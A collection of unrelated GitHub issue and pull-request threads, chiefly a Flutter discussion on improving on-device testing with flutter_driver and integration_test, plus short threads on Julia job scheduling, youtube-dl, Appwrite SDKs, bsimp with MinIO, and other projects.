On-device iteration time. Matan and I were talking about leaning heavily into 'hot restart' ('reload' would leak state and not re-run tests), and unless I change the native code of my app, there is no need to rebuild apk/whatever. I'm imagining that on-device in less than one second my app is restarted and tests are run again, that makes me excited to write tests.
User-friendly screenshot comparison flow that allows for implementations that integrate with skia gold, scuba, and just a regular old image differ.

I think all of these are possible. Some of them even work today. The problem is they are not coherently presented, nor uniformly available.
For example, hot restarting flutter unit tests works! but you have to flutter run the test (which is at best .. lightly documented), and the result reporting doesn't work.

I'm glad to hear that a lot of the implementation bits are already available. And, yeah, I think this is mostly about uniform implementation and coherent APIs

To link related work, @bkonyi wrote up Non-Dart Developer Tooling Capabilities Exploration, relevant sections:

What can be improved in Dart/Flutter: Area for Improvement: Simplify writing UI tests by recording device interactions

Dart / Android Studio / Xcode comparisions: Testing and Coverage

Update: @goderbauer @jonahwilliams @matanlurey @johnmccutchan met today and chatted about this.
We talked about either/or enhancing Flutter Driver and integration_test for on-device testing, focusing on use cases beneficial to the engine team, mostly about the capabilities and limitations of both tools, considering factors like interacting with widgets, reusing code, and synchronization.
The conclusion was to enhance flutter_driver (without breaking existing functionality) to support use cases like backgrounding a Flutter app, forcing trimmed memory, and taking screenshots, and we'd avoid any changes to integration_test at this time (though we had some cool ideas).
Next steps involve starting with scenario_app-style tests and reproducing real engine tests and regressions.
Concretely, I'll start working on a test suite in dev/integration_tests, and as-needed, add new functionality to flutter_driver (https://github.com/flutter/flutter/tree/master/packages/flutter_driver), likely in a non-public API (src/experimental or similar) as we plan to iterate on real-world scenarios.

Hi @matanlurey! That’s an excellent summary of the current solutions existing in the SDK.
Diclaimer: I’m one of the authors of Patrol - a framework made exactly to solve some of the issues you described.
I’d like to shed some light on what choices we had to make and how community feedback has driven us there.

You can’t interact with native elements using integration_test

That was a main blocker for us, since almost every mobile app has some kind of a permission dialog or 3rd party SDK integration that is on the business critical path and you can’t just skip it. Also, to have real end-to-end device tests, we have to be able to interact with everything like a real user would.
Patrol introduces both convenience methods like enableWifi or pressHome, but also tap that simply enables you to interact with any native element on the screen like you would with 1st-party native tests but writing Dart code. (more examples here)

Most device farms don’t support Flutter explicitly

This is related to how integration_test works. Most device farms can work with running UIAutomator tests on Android and XCUITest tests on iOS. If we can be able to run as such and inside use Flutter testing, then Flutter is just an implementation detail for those farms. There’s a lot of tooling for UI tests in the native world and we as Flutter community would like to be able to use that.
That’s what we do in Patrol - when you run patrol test we run native test execution (e.g. ./gradlew connectedAndroidTest) and from that side we run Flutter integration tests.

Integration_test sends all the test results at the end which is not aligned with test execution model on the native side

Because of that, tests are not run in isolation (which can increase flakiness) and what is more important - if 99th test crashes, you lose all the results which can be very harsh (device farms are expensive). Also, every test is having “<1s” test duration, because from a native perspective the tests return immediately.
That’s what we also kinda solved in Patrol, because of running the tests “from the native side”.

flutter_test API is pretty low-level
This one is not so much relevant, but I’d like to also cover it since this is such a broad discussion. flutter_test is a great low-level API for interacting with the widget structure, but the community needs something high-level to avoid boilerplate and doing the same helper methods in every project.

This includes things like waiting for something to be interactive, finding first by default, simpler ancestor/descendant methods, etc.
We created patrol_finders package for that just adds an opinionated layer for that - and I believe this is a perfect balance that low-level flutter_test is maintained by the Flutter team and higher-level stuff is community-driven.

Hot restart in tests

@johnmccutchan mentioned being able to iterate quickly with hot restart while writing integration tests. Please take a look at patrol develop command which basically lets you do that (also with writing native interactions) - more info here
Finally, we as Patrol team are very interested in what decisions are going to be made with both flutter_driver and integration_test, because:

We spent a lot of time trying to solve those issues, so it's better to share the findings
The decisions might break Patrol by design and it would be great to know that some time ahead.

I have two requests which would help make the end solution fully feature complete:

Having both --reporter and --file-reporter exposed and fully functional (related ticket https://github.com/flutter/flutter/issues/145499)

This would be huge as it would allow for JSON reports to be generated and then later parsed to create reports and GitHub comments highlighting test results

Code coverage

This is available with flutter test but to the best of my knowledge not available in flutter drive

I want to generate my testing own report, so screenshot performance is important to me because I use it for my golden tests

Requesting this to be considered as well to help avoid flakey test results which might be caused by slower than usual networking request results
https://github.com/flutter/flutter/issues/103011

Adding some context here regarding package:integration_test. This is the main on-device testing framework that we are endorsing for customers in Google3, and for the past couple of years we have been directing customers away from Flutter Driver to this. Googlers can refer to go/flutter-integration-testing, which mentions that we should avoid using Flutter Driver, and use package:integration_test instead. (package:integration_test was previously named package:e2e and there may be some references to it.)

One of the largest advantages observed over the last couple of years in package:integration_test, compared to package:flutter_driver, is that the former is significantly less of a tech island and instead leverages the ecosystem of the host platform in a Flutter-agnostic way.

Internally package:integration_test is composed on top of Espresso, EarlGrey and Web build rules. We provide a small shim that translates the test results to what the host platform expects, and maintainence of this has been minimal. As the underlying platform teams add more support and features, we frequently gain them for free.

I'm not sure about the status of this outside Google3, but tests can also be executed from the Android side and the iOS side, similarly to what we do in Google3.

Compare that with Flutter Driver, where we had to implement and maintain a siginificant amount of host-side orchestration logic, to start a emulator, connect to the device, and run the test, across multiple platforms.

When performance tests was requested by a customer in the past, someone had to implement a completely bespoke stack to support it, instead of integrating it with the existing support for other non-Flutter Android and iOS apps.

Integration Tests can run in release mode because it does not use the VM service. We previously worked with a customer that had users on low-end devices, and it was found that the service isolate contributes to a significant amount of overhead on those devices.
Also note that when running with flutter test integration_test, which should be the common flow, Flutter Driver is not used at all. package:integration_test has a direct dep on package:flutter_driver, but the code to do so is not exercised during this flow.

At this point we've concluded some experiments around improvements to flutter_driver.
Depending on prioritization, we might further invest, or do nothing at this time.
I'm closing this issue for now as it was only a proposal for discussion - we'll track actual work elsewhere.


Strip pyproject.toml and requirements.txt in starters so it can be used by add-ons

Motivation and Context

Related to: https://github.com/kedro-org/kedro/pull/3169
Related comment: https://github.com/kedro-org/kedro/pull/3169#discussion_r1372996593
The pyproject.toml and requirements.txt files in the starters should contain the minimum so that they don't contain any "add-ons" related stuff by default.
Development Notes

Checklist

[x] Opened this PR as a 'Draft Pull Request' if it is work-in-progress
[ ] Assigned myself to the PR
[ ] Added tests to cover my changes

@merelcht I've stripped the requirements.txt and pyproject.toml of the test, docs, and lint add-ons. It got me wondering about the tests/ and docs/ directories now that their requirements are gone do we want to remove them as well?


Use UUID primary key

In the demo-my-books project, Category and CategoryTag inherits BaseEntityUuid or SimpleEntityUuid, causing an error: integrity constraint Violation: foreign key no parent.Other classes that inherit BaseEntityUuid or SimpleEntityUuid also have errors when saving.

hi @yanfanhu thanks for comment. I will check that

This bug is fixed en latest versions


How to set stop date and time?

How to pass parameter for a job ? My job is recurring I mean a Task must run every 3 minutes. Please guide me.

It is a nice question.
Here is an example of doing it:
using JobSchedulers

scheduler_start()

# define your function
function recurring_function()
    println(now(), " - call recurring function")

    # call the function itself every 3 second
    job = Job(recurring_function, schedule_time = Second(3), name = "Recurring")
    submit!(job)
end

recurring_function()

# to cancel it
cancel!(queue("Recurring")[1])

# or to cancel it at a specific time
function cancel_recurring()
    try
        recurring_job = queue(r"^Recurring$", :queuing)[1]  # use regex ^ and $ to exact match the job name
        println("Cancel recurring job")
        state = cancel!(recurring_job)
        if state !== :cancelled
            # recurring_function successfully ran (state is :done), and new recurring function is produced.
            job_cancel = Job(cancel_recurring, name = "Cancel recurring")
            submit!(job_cancel)
        end
    catch
        # redo if recurring_job is running
        job_cancel = Job(cancel_recurring, name = "Cancel recurring")
        submit!(job_cancel)
    end
end

# wrap cancel_recurring into Job, and set up a time to cancel it.
job_cancel = Job(cancel_recurring, schedule_time = now() + Second(10), name = "Cancel recurring")
submit!(job_cancel)

Though it is a little bit complicated, I am also considering adding native support for recurring jobs into JobSchedulers. Hope it won't take long.

If you have other jobs to run, you can change the job priority: Job(xxx, priority = 0).

Hi, This was speedy support from your side. I just wanted to let you know that this works for me. Can we also have some method to run the service at a fixed time? coz now()+ Seconds(10) always depends on starting time of script.
I want to run every 5 minutes but start from a specific time of day.

now() + Second(5) is a DateTime object. schedule_time accepts DateTime and Period types. You can create a DateTime on your own. See the julia document https://docs.julialang.org/en/v1/stdlib/Dates/

Hi @ai-ml-with-kapil ,
Recurring jobs are supported in JobSchedulers v0.8. Thank you for the suggestion.
It is inspired by Linux-based crontab, allowing you to run a recurring job at specific date and time.
# JobSchedulers >= v0.8
using JobSchedulers

# define your function
job = Job(() -> println(now(), " - call recurring function"),
    cron = Cron(0, "*/3", *, *, *, *),  # run every 3 minutes
    schedule_time = DateTime(2023,5,21,11,03),  # run the first job at this time.
    until = Month(1)  # job will stop repeat until the DateTime
)

submit!(job)


Enable HDFS metrics for all services

Added journal node configuration for the jmx exporter and set a delay of 10 seconds before exporting the metrics.
The metrics are now also used for health checks in K8S and therefore added a delay of 10 seconds to allow service containers to start up properly.

What's the purpose of the delay?

What's the purpose of the delay?

To ensure that the RPC service thread is properly initialized. Without it, the namenodes fail to start randomly.


Root route should return something

On this issue I was trying to check if /api was working and since it wasn't I thought I had an issue on my nginx.
Root route should return a status: ok or something similar.

This should be addressed now with the latest release. Thanks!


feat: allow to restrict on which OSes actions allowed to run

Could be useful to allow specifying OS requirements, both on single actions and suites. Allowed OS values will map to std::env::consts::OS + explicit "all" (which should be the default).
With single actions:
actions {
  run "command" os="all"
  run "command" os="windows"
  run "command" os="linux"
}

With suites:
actions {
  suite "init os="all" { ... }
  suite "win-specific" os="windows" { ... }
}

With actions in suites (overrides value defined in a suite node):
actions {
  suite "init" os="all" {
    run "command" os="macos"
    run "command" os="windows"
  }
}

Closing in favor of #16.


How to force youtube-dl to download YouTube content through its Android app?

Please follow the guide below

You will be asked some questions and requested to provide some information, please read them carefully and answer honestly
Put an x into all the boxes [ ] relevant to your issue (like this: [x])
Use the Preview tab to see what your issue will actually look like

Make sure you are using the latest version: run youtube-dl --version and ensure your version is 2018.06.04. If it's not, read this FAQ entry and update. Issues with outdated version will be rejected.

[x] I've verified and I assure that I'm running youtube-dl 2018.06.04

Before submitting an issue make sure you have:

[x] At least skimmed through the README, most notably the FAQ and BUGS sections
[x] Searched the bugtracker for similar issues including closed ones
[x] Checked that provided video/audio/playlist URLs (if any) are alive and playable in a browser

What is the purpose of your issue?

[ ] Bug report (encountered problems with youtube-dl)
[ ] Site support request (request for adding support for a new site)
[ ] Feature request (request for a new functionality)
[ ] Question
[x] Other

The following sections concretize particular purposed issues, you can erase any section (the contents between triple ---) not applicable to your issue
Description of your issue, suggested solution and other information
YouTube website is banned here and I have to use a proxy to access it via my web browser or youtube-dl to work, but ironically the YouTube Android application on phones and tablets work like a charm without using any proxies at all and videos get loaded much much faster as they are directly loaded without a proxy in between. I'm looking for a way to force youtube-dl to download videos like if it was the YouTube app, as I often get errors while I'm downloading videos through a proxy in youtube-dl.
Also another little question is, is there a way to pause and resume youtube-dl downloads like IDM (Internet Download Manager)?

You can't make youtube-dl download through android app. Ctrl+C for pause and rerun for resume.

I meant resuming it after a download error in the middle of the download.

Sepehr2016: youtube-dl does resume when interrupted.


Clarification about flocker driver

Describe the proposed changes
Clarify that you need flocker installed before you can use the flocker volume driver
Related issue
Fixes #324
Please take a look
@dusek
@ingcsmoreno

Deploy preview ready!
Built with commit 4d7ca80926cdef9d7ba355a28c7b722fd413d9f2
https://deploy-preview-626--docker-docs.netlify.com


📚 Documentation: How do you think about renaming the repository to "sdk-for-swift"

💭 Description
I suggest renaming this repository to sdk-for-swift. This is because it is a SDK specifically created for the Swift language, which is an open-source language that can run on multiple platforms, not just Apple's platform. Therefore, changing the name can more accurately reflect the purpose of this SDK and provide clearer information for users. I hope you will consider this suggestion and make the necessary changes.
For example, another project named "sdk-for-kotlin," indicating that it is not only for server-side Kotlin but also for Android development.
👀 Have you spent some time to check if this issue has been raised before?

[X] I checked and didn't find similar issue

🏢 Have you read the Code of Conduct?

[X] I have read the Code of Conduct

Hey Appwrite team!
I just recently set up a Swift Runtime on a self-hosted server, and it's.... AWESOME!
I also just discovered the difference between sdk-for-swift & sdk-for-apple and I have some feedback:

2 SDKs and the reason they are separate is not immediately intuitive - I first discovered the sdk-for-swift and didn't realize there were 2 separate frameworks.

I later stumbled upon this repo and I assumed that one was just a legacy name change.
During integration I was very confused when I tried to utilize the Account.create function from the server but it didn't exist within the SDK.  I could see the function in Appwrite docs, but it took a while for me to figure out that it was in this repo.

This could be more flexible - I realize now that the intention seems to be that the client (sdk-for-apple) is intended to call the account creation endpoint, but I would appreciate the flexibility to have this happen server side.

Why server side account creation?

My client is written in an unsupported language (GDScript).  Which means that I would need to use the REST API.
I don't like the idea of users generating UUIDs (also it's not as easy to create a uuid in GDScript).
I would like to (more easily) trigger other backend events/set up at the time of account creation on the server.

Please consider merging these libraries for simplicity.  I would suggest:

1 Repo for all things Swift - This would make it simple to find what I'm looking for & understand the separations.
4 or 5 packages: AppwriteClient, AppwriteServer, AppwriteCore if you need it, AppwriteModels etc.. This would give really great flexibility while maintaining the separation of concerns.

I have other Appwrite-Swift newbie feedback that doesn't apply to this thread, so let me know if you're interested :D

@dubiao, thanks for raising this issue! 🙏🏼 We have SDKs meant for client-side use and others for server-side use. You can find more information here. As such, we won't be combining.


adds CMakeLists.txt

This PR address #2:

adds CMakeLists.txt
adds build instructions in README,
adds .gitignore for build dir

Thanks!


One Google account...but two YouTube profiles. Any way to have this app scan both for subscriptions?

I have one Google account. But that account has two different YouTube profiles. One profile contains my gaming subscriptions. The other contains more news related subscriptions.
When I first ran "yt-subs.sh", the "authorization" steps had me select one of the YouTube profiles. Is there any way I can get your app to include both YouTube profiles?

@paulescobar  I don't think that would be possible as it uses OAuth to authorize you with that specific youtube profile, I suppose you could set it up twice with 2 different folders, with each one authorized to a different channel, not a perfect solution, but a solution.
It should work, but it would skip repeat videos if both are subscribed to the same channel, which could be seen as a feature not a bug :smiley:


Added more wrp message handling.

Codecov Report

Merging #6 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master       #6   +/-   ##
=======================================
  Coverage   81.81%   81.81%
=======================================
  Files           2        2
  Lines          33       33
  Branches        4        4
=======================================
  Hits           27       27
  Misses          2        2
  Partials        4        4

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5a1ce60...2375549. Read the comment docs.


Delete All Nifty255/IRnifty Mods

Pull Request deletes all mods created by Nifty255/IRnifty in order to allow reupload to SpaceDock without duplication in CKAN's repository.

@IRnifty you can just modify the file to point it to SpaceDock and change the extension of the file from .kerbalstuff to .netkan

To use the simplest terms: there are hundreds of mods in exactly this situation (moving from KS to SD) and we can assure you that the transition on CKAN's side will not create any duplicates.
A couple examples from the last day:
https://github.com/KSP-CKAN/NetKAN/pull/3252 https://github.com/KSP-CKAN/NetKAN/pull/3251 https://github.com/KSP-CKAN/NetKAN/pull/3250 https://github.com/KSP-CKAN/NetKAN/pull/3249 https://github.com/KSP-CKAN/NetKAN/pull/3248 https://github.com/KSP-CKAN/NetKAN/pull/3247 https://github.com/KSP-CKAN/NetKAN/pull/3229 https://github.com/KSP-CKAN/NetKAN/pull/3259 https://github.com/KSP-CKAN/NetKAN/pull/3257


Include address in TransactionFinder

Summary
Note: this is part of multiple PRs to break down https://github.com/safe-global/safe-client-gateway/pull/1824.
As "finding" staking data also requires comparison of addresses, we need to access both the data/addresses of batched transactions.
As such, this updates TransactionDataFinder to TransactionFinder, returning both the to and data of transactions, if either "normal" or batched in multiSend calls.
Changes

Return the to address of "found" transactions in TransactionDataFinder
Rename TransactionDataFinder to TransactionFinder and propagate
Update tests accordingly.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>9
Details

4 of 10 (40.0%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.04%) to 46.712%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/routes/transactions/helpers/swap-order.helper.ts
1
3
33.33%

src/routes/transactions/helpers/transaction-finder.helper.ts
2
4
50.0%

src/routes/transactions/helpers/twap-order.helper.ts
1
3
33.33%

Totals

Change from base Build<PHONE_NUMBER>7:
-0.04%

Covered Lines:
4628

Relevant Lines:
8001

💛  - Coveralls


The aF/iF/af/if objects move the cursor when indenting

If my cursor is deep inside a nested form and I use =aF to indent the top level form my cursor moves to the end of the first line of that form.
I think the cursor should remain where you left it if possible. If you agree then I'm happy to look into addressing this, just thought I'd raise an issue to discuss it first. Here's some examples:
(defn foo [a b]
  (println "hi")
  (+ a b
     10))

=af on the last line moves the cursor up one line to the + a b.
=aF anywhere in the form moves the cursor to the first line of the defn at the column you were at on the previous line.
The same goes for both i objects.

I'm not sure this is something we can really change as that behaviour is not controlled by nvim-paredit. Paredit just defines the selection range to be operated on after which point the = operand (or whichever operator is currently in operator-pending) takes over.
For example, you can observe the exact same behaviour when running a vim-native operation like =a(.

Ah okay, great point! Maybe I'm used to vim-sexp's behaviour where I used
=- to indent the top level form. I think that kept the cursor in place but
now I wonder if I imagined it.
Maybe I can rustle up a custom mapping that replaces =- and keeps the
cursor in place somehow.
On Wed, 4 Oct 2023, 09:30 Julien Vincent, @.***> wrote:

I'm not sure this is something we can really change as that behaviour is
not controlled by nvim-paredit. Paredit just defines the selection range to
be operated on after which point the = operand (or whichever operator is
currently in operator-pending) takes over.
For example, you can observe the exact same behaviour when running a
vim-native operation like =a(.
—
Reply to this email directly, view it on GitHub
https://github.com/julienvincent/nvim-paredit/issues/41#issuecomment-1746390028,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AACM6XJWVXN3H5C2ZCB6VADX5UNBNAVCNFSM6AAAAAA5PHFKLGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTONBWGM4TAMBSHA
.
You are receiving this because you authored the thread.Message ID:
@.***>

Maybe I can rustle up a custom mapping that replaces =- and keeps the
cursor in place somehow.

Should be fairly straight forward to do by using the vim.api.nvim_win_get_cursor api!
I'm gonna close this one out, feel free to re-open if you feel there is more to action here.


says, "started HTTP server" but bsimp cannot be accessed.

Hello, I can't get bsimp to work properly.
I had minio instance running.
MinIO Object Storage Server
Copyright: 2015-0000 MinIO, Inc.
License: GNU AGPLv3 <https://www.gnu.org/licenses/agpl-3.0.html>
Version: RELEASE.2022-11-11T03-44-20Z (go1.19.3 linux/amd64)

Status:         1 Online, 0 Offline.
API: http://<IP_ADDRESS>:9000  http://<IP_ADDRESS>:9000
RootUser: minioadmin
RootPass: minioadmin
Console: http://<IP_ADDRESS>:38341 http://<IP_ADDRESS>:38341
RootUser: minioadmin
RootPass: minioadmin

Command-line: https://min.io/docs/minio/linux/reference/minio-mc.html#quickstart
   $ mc alias set myminio http://<IP_ADDRESS>:9000 minioadmin minioadmin

Documentation: https://min.io/docs/minio/linux/index.html

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ You are running an older version of MinIO released 1 month ago ┃
┃ Update: Run `mc admin update`                                  ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

The minio had bucket named "Music"

this is my config file.  config_minio.toml located in the same directory as bsimp.
[s3]
region = "local"
endpoint = "http://localhost:9000"
bucket = "Music"
force_path_style = true

[s3.credentials]
id = "minioadmin"
secret = "minioadmin"

Running Result
These are commands I used to run bsimp followed by their output. It's inside bsimp's directory.
./bsimp -config="config_minio.toml"
2023/01/03 04:53:58 INFO started HTTP server address=:8080

./bsimp -config="config_minio.toml" -http=":8080"
2023/01/03 04:54:29 INFO started HTTP server address=:8080

./bsimp -config="config_minio.toml" -http="localhost:8080"
2023/01/03 04:54:40 INFO started HTTP server address=localhost:8080

./bsimp -config="/home/velvet/Applications/ResourcesRepository/bsimp/config_minio.toml"
2023/01/03 05:04:19 INFO started HTTP server address=:8080

./bsimp -config="/home/velvet/Applications/ResourcesRepository/bsimp/config_minio.toml" -http="<IP_ADDRESS>:8000"
2023/01/03 04:56:12 INFO started HTTP server address=<IP_ADDRESS>:8000

I can't seem to access bsimp with any of the commands above.

additionally, nothing changed in the output even after I stopped minio.
What might be the issue?
====
OS: Manjaro Linux x86_64
Kernel: 5.15.85-1-MANJARO
CPU: AMD Ryzen 5 3500 (6) @ 3.600GHz

go version go1.19.4 linux/amd64

Hi! This is interesting, it works fine for me both on Linux and macOS. It seems the issue is clearly accessing the HTTP server, not the MinIO instance. Have you tried some other less common ports?
Here is how bsimp is configured on my Linux server - bsimp -config=/etc/bsimp/config.toml -http=":8086". I can access it with curl http://<IP_ADDRESS>:8086/library/.

ah I'm sorry my bad. Looks like I wrote the port wrong. The default written in readme is 8080 but what I'm trying to access is 8000. Thank you for your assistance.
But still, since http://<IP_ADDRESS>:8080/ shows 404 page not found, if I didn't come here, I would not have figured out that I need to manually type /library to access the page.
Perhaps an output message saying You can access bsimp at http://<IP_ADDRESS>:8080/library would prevent confusion.

Perhaps an output message saying You can access bsimp at http://<IP_ADDRESS>:8080/library would prevent confusion.

Thanks for the feedback! I'll make the root path to redirect to library.


Wizard: Create a Compare Section

In the wizard allow to paste two sets and intersect, union, nor them

Done in http://wizard.filehelpers.net/CompareTools


x42-plugins: 20200114 -> 20200411

The patchShebangs need to stay. Upstream changed them to /usr/bin/env,
but I forgot that doesn't exist at build time.
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Not sure what happened but this is likely a duplicate of #85691 so I am closing this, feel free to re-open if I am wrong :eyes:

Ah, yes.  Good catch, thanks!


[libofx] new port

Describe the pull request
Adds a new port for LibOFX. Still a WIP.
Pending:

[ ] Upstream UWP compilation issue: https://github.com/libofx/libofx/issues/84

[ ] a LibOFX 0.10.8 release.

Which triplets are supported/not supported? Have you updated the CI baseline?
All official + macOS arm64

Does your PR follow the maintainer guide?

Yes

If you are still working on the PR, open it as a Draft: https://github.blog/2019-02-14-introducing-draft-pull-requests/

@JonLiu1993 ready now for a review.

All features are tested successfully in the following triplet:

x86-windows
x64-windows
x64-windows-static
x64-linux

libofx:x64-windows triplet usage tested successfully in my local machine.

@JonLiu1993 just noticed that portfile.cmake is missing newline at the end.

@JonLiu1993 just noticed that portfile.cmake is missing newline at the end.

@JonLiu1993 just noticed that portfile.cmake is missing newline at the end.

Could you add it?

@JonLiu1993 just noticed that portfile.cmake is missing newline at the end.

Could you please add it?

Done.


update email notifications help copy on settings page

https://trello.com/c/ZS8Ohu3z/582-qae17imp-as-an-admin-i-want-to-see-help-copy-in-the-date-settings-so-it-is-clear-what-all-of-the-date-s-do-and-how-they-affect-u

 [QAE17IMP] As an Admin I want to see help copy in the date settings, so it is clear what all of the date's do and how they affect users


Code Release

Hey, thank you for the good work!
When do you plan to release the code?
Thx

Any update?

We really would like to hear an update as a community!

@vaydingul Thanks for your interest, code will be released soon.


Can't install?

Just checking this out... I tried to install the apk on my Redmi Note 4, and the app crashes on launch with the following report:
java.lang.UnsatisfiedLinkError: dalvik.system.PathClassLoader[DexPathList[[zip file "/data/app/com.cloudwebrtc.flutterwebrtcdemo-1/base.apk"],nativeLibraryDirectories=[/data/app/com.cloudwebrtc.flutterwebrtcdemo-1/lib/arm64, /data/app/com.cloudwebrtc.flutterwebrtcdemo-1/base.apk!/lib/arm64-v8a, /system/lib64, /vendor/lib64]]] couldn't find "libflutter.so"
	at java.lang.Runtime.loadLibrary0(Runtime.java:972)
	at java.lang.System.loadLibrary(System.java:1530)
	at io.flutter.view.FlutterMain.startInitialization(FlutterMain.java:157)
	at io.flutter.view.FlutterMain.startInitialization(FlutterMain.java:134)
	at io.flutter.app.FlutterApplication.onCreate(FlutterApplication.java:22)
	at android.app.Instrumentation.callApplicationOnCreate(Instrumentation.java:1025)
	at android.app.ActivityThread.handleBindApplication(ActivityThread.java:5518)
	at android.app.ActivityThread.-wrap2(ActivityThread.java)
	at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1608)
	at android.os.Handler.dispatchMessage(Handler.java:102)
	at android.os.Looper.loop(Looper.java:165)
	at android.app.ActivityThread.main(ActivityThread.java:6354)
	at java.lang.reflect.Method.invoke(Native Method)
	at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:883)
	at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:773)

Flutter doctor doesn't report any errors or warnings:
[✓] Flutter (Channel stable, v1.0.0, on Linux, locale en_US.UTF-8)
    • Flutter version 1.0.0 at /home/user/Projects/flutter-projects/flutter
    • Framework revision 5391447fae (4 weeks ago), 2018-11-29 19:41:26 -0800
    • Engine revision 7375a0f414
    • Dart version 2.1.0 (build 2.1.0-dev.9.4 f9ebf21297)

[✓] Android toolchain - develop for Android devices (Android SDK 28.0.3)
    • Android SDK at /home/user/Android/Sdk
    • Android NDK location not configured (optional; useful for native profiling support)
    • Platform android-28, build-tools 28.0.3
    • Java binary at: /opt/android-studio/jre/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1136-b06)
    • All Android licenses accepted.

[✓] Android Studio (version 3.2)
    • Android Studio at /opt/android-studio
    • Flutter plugin version 31.3.1
    • Dart plugin version 181.5656
    • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1136-b06)

[✓] VS Code (version 1.30.1)
    • VS Code at /usr/share/code
    • Flutter extension version 2.21.1

[✓] Connected device (1 available)
    • Android SDK built for x86 • emulator-5554 • android-x86 • Android 7.1.1 (API 25) (emulator)

Okay, looks like this is an arm64/arm32 issue (good discussion at https://github.com/azihsoyn/flutter_mlkit/issues/36). I could generate a working apk using this command:
$ flutter build apk --debug --target-platform android-arm64
But I'm not worried that this won't work on all phones.... also how about iOS? I haven't tried yet.

Thanks rostopira! So it won't affect iOS but will it affect some Android phones?

Superb! Thanks for the clarification again!

Happy new year

Happy new year to you too!
On Mon 31 Dec, 2018, 3:05 PM Dima Rostopira<EMAIL_ADDRESS>wrote:

Happy new year
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/cloudwebrtc/flutter-webrtc-demo/issues/7#issuecomment-450625248,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AOd48y0oKVRluPcQ2Byg_IgbULIjPmNhks5u-dp_gaJpZM4Zk7Ia
.

@rostopira @kbrmimbyl I tried your work around crash in 32 bit Android. Try download emulator Nox and add:
ndk { abiFilters "armeabi-v7a" }

@xenixcorp yes, obviously it crashes, because emulator requires x86_64 instead of armv7
And again, this has nothing to do with library, it's flutter issue

Hey, with ndk { abiFilters "armeabi-v7a" } everything seems fine and the apk size is nearly half! Cool!


Problem in Client.php?

I tried to implement phpCAS on my Laravel website but I always got this error message:
phpCAS error: phpCAS::client(): ErrorException: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in [...]\storage\framework\views\ef35316c5684265941330596ce8ff1324a97c5f8.php on line 19
This error is fixed if you replace "continue;" with "continue 2;" on line 3301 in "Client.php".

Which version of phpCAS are you using? Have you looked at the debug log of phpCAS?
https://apereo.atlassian.net/wiki/spaces/CASC/pages/103252650/phpCAS+troubleshooting

Unfortunately I cannot find any continue usage in Client.php in 1.3.x: https://github.com/apereo/phpCAS/blob/1.3.8/source/CAS/Client.php#L3301.
How did you install the library and what is the version you are using? Could you try @jfritschi's suggestion to get debug logs as well?

Closing issue. No activity for 5 month... Please reopen of you can provide more info.


Add special Cities icons to spritesheets

The special icons present on the Cities cards (the plus, arrows, flag and fountain) are needed when rendering cards.

We need each of these symbols in each of the 5 colors. As always, please use ImageMagick to make this spritesheet!

Thanks Josh! I think the only thing that's missing is that we don't have a way right now to render the resource icons appearing under the search icon since the border is a bit different. The border is the same as the other Cities icons though. Do you have a suggestion for the best way to tackle this?

I made another mask that includes both the border and the search icons in PR #418 , would this work?

Yes, I think this will work great! I really appreciate the effort you've put into this.